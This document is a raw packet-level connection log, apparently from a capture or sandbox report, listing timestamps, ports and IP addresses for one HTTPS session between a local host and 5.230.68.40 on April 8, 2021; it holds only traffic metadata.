Apr 8, 2021 18:46:35.904869080 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.904875994 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.904912949 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.904957056 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.904958010 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.905000925 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.905041933 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.905045033 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.905085087 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.905127048 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.905128002 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.905169010 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.905210018 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.905213118 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.905252934 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.905296087 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.905296087 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.905339003 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.905384064 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.905380011 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.905441046 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.905483961 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.905484915 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.905529022 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.905570030 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.905570030 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.905622005 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.905669928 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.905694008 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.905723095 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.905775070 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.905823946 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.905827045 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.905879021 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.905930042 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.905930996 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.905982018 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.906032085 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.906033993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.906085014 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.906136990 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.906169891 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.906191111 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.906236887 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.906240940 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.909727097 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.929828882 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.929874897 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.929936886 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.929986954 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.929999113 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.930027008 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.930068016 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.930082083 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.930109978 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.930128098 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.930188894 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.930249929 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.930253983 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.930310965 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.930361986 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.930372953 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.930450916 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.930500984 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.930502892 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.951349020 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.951405048 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.951453924 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.951455116 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.951505899 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.951555967 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.951556921 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.951610088 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.951639891 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.951664925 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.951714993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.951762915 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.951766014 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.951817989 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.951869965 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.951869965 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.951915979 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.951924086 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.951967955 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.952023029 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.952042103 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.952092886 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.952142000 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.952188015 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.952191114 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.952240944 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.952286959 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.952290058 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.952336073 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.952346087 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.952397108 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.952440977 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.952445984 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.952501059 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.952544928 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.952569962 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.952596903 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.952642918 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.952655077 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.953887939 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.953944921 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.953990936 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.953998089 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.954065084 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.954114914 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.954121113 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.954166889 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.954216003 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.954231024 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.954277992 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.954304934 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.954334974 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.954355001 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.954386950 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.954413891 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.954472065 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.954523087 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.954555988 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.954566956 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.954576969 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.954636097 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.954694033 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.954744101 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.954749107 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.954794884 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.954843044 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.954844952 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.954893112 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.954904079 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.954957962 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.955007076 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.955009937 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.955069065 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.955123901 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.955130100 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.955202103 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.955236912 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.955298901 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.955337048 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.955360889 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.955420971 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.955459118 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.955471039 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.955483913 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.955569029 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.955630064 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.955670118 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.955729961 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.955775976 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.955780983 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.955832005 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.955874920 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.955883026 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.955933094 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.955981970 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.955984116 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.956026077 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.956068993 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.956074953 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.956125975 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.956166029 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.956176043 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.956226110 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.956269979 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.956276894 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.956327915 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.956377983 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.956378937 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.956423998 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.956469059 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.956489086 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.956547976 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.956605911 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.956607103 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.956675053 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.956722975 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.956798077 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.957521915 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.957580090 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.957649946 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.957659006 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.957696915 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.957729101 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.957778931 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.957812071 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.957833052 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.957886934 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.957937002 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.957937956 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.957992077 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.958029985 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.958061934 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.958101034 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.958162069 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.958214045 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.958247900 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.958277941 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.958301067 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.958339930 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.958360910 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.958420038 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.958467960 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.958476067 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.958527088 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.958578110 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.958585024 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.958647013 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.958703041 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.958728075 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.958760977 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.958810091 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.958820105 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.958878994 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.958929062 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.958930016 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.958986044 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.959036112 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.959043980 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.959105015 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.959156990 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.959170103 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.959235907 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.959285021 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.959295988 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.959357023 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.959402084 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.959413052 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.959470987 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.959513903 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.959530115 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.959597111 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.959656000 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.959661961 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.959708929 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.959754944 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.959760904 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.959817886 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.959865093 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.959873915 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.959928036 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.959974051 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.959975958 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.960027933 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.960069895 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.960077047 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.960125923 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.960174084 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.960175991 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.960227013 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.960270882 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.960295916 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.960329056 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.960370064 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.960375071 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.960419893 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.960464001 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.960469007 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.960520029 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.960568905 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.960619926 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.960628033 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.960671902 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.960716963 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.960724115 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.960773945 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.960824013 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.960833073 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.960874081 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.960917950 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.960923910 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.960974932 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.961014032 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.961014986 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.961149931 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.990150928 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.990223885 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.990281105 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.990324020 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.990372896 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.990374088 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.990398884 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.990437031 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.990462065 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.990509987 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.990514040 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.990575075 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.990633965 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.990638971 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.990703106 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.990755081 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:35.990767002 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.990813971 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:35.990875006 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.027328014 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.027374983 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.027415037 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.027437925 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.027452946 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.027491093 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.027518034 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.027528048 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.027533054 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.027581930 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.027631998 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.027688980 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.027693033 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.027729034 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.027755022 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.027776003 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.027817011 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.027823925 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.027863979 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.027908087 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.027913094 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.027952909 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.027992964 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.027997017 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028048992 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028091908 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028095007 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.028129101 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028166056 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028171062 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.028203011 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028239012 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028247118 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:36.028276920 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:36.028314114 CEST	443	49727	5.230.68.40	192.168.2.5
